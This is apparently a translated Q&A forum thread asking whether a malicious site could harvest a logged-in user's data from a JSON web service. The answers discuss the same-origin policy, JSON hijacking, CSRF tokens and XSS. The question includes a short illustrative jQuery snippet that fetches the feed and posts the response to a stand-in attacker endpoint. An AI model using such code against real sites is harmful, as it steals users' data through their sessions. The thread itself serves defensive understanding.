保护受保护的JSON Web服务免受数据收集?

时间:2011-04-12 13:38:23

标签: asp.net-mvc security csrf csrf-protection

我们有一个JSON网络服务,我们的某个网页使用它来显示“实时”数据。要访问该页面,用户必须登录。我们担心恶意站点(竞争对手)收集此数据的能力。但是,我不确定我们预期的问题是否合情合理。

用户登录后,我们会在其计算机上存储“记住我”Cookie。如果有人要构建一个向我们的Web服务发出AJAX请求并确信登录用户访问该站点的站点,他们是否能够从我们的服务中检索和存储信息?如果是这样,我们怎样才能保护自己免受这样的侵害呢?

例如:

恶意网站是否可以构建这样的脚本来获取我们的数据:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

由于他们正在点击我们的JSON Feed,因此不会将cookie发送到我们的网站,并且用户将被验证。由于它们将被验证,它不会发回敏感数据吗?

2 个答案:

答案 0 :(得分:1)

如果没有一些尚未修补的浏览器漏洞,您似乎无法解决的问题。

另一个域上的脚本无法向您的域发出AJAX请求。它也不能从您的域中加载页面并“窃取”该信息。

就CSRF而言,您需要关注的是通过GET请求进行的破坏性操作,当然这些操作根本不需要任何脚本。所有这一切当然都假设您的网站不容易受到跨网站脚本的攻击(可以允许某人通过其他人的登录信息'窃取'数据)。

我认为你更有可能遇到“合法”用户的问题,他们会“挖掘”您的数据。这更像是一种商业级别的事情,但除了确保正确的日志记录以识别这种情况之外。

答案 1 :(得分:0)

如果您害怕攻击者能够使用合法用户的会话来检索JSON对象,那么您正在谈论JSON劫持。这取决于你的JSON文件的结构方式,如果这种攻击甚至是可能的。查找“JSON劫持”一词以获取更多信息,或随时留下评论,其中包含有关JSON对象的应用程序的更多详细信息。如果您发现自己很脆弱,添加CSRF令牌将有助于关闭任何JSON劫持攻击。

您还必须确保Web应用程序中没有单个跨站点脚本(XSS)漏洞。如果攻击者可以使用XSS,则通过控制有效用户的浏览器来收集数据相当容易。在这种情况下,CSRF-Tokens毫无用处。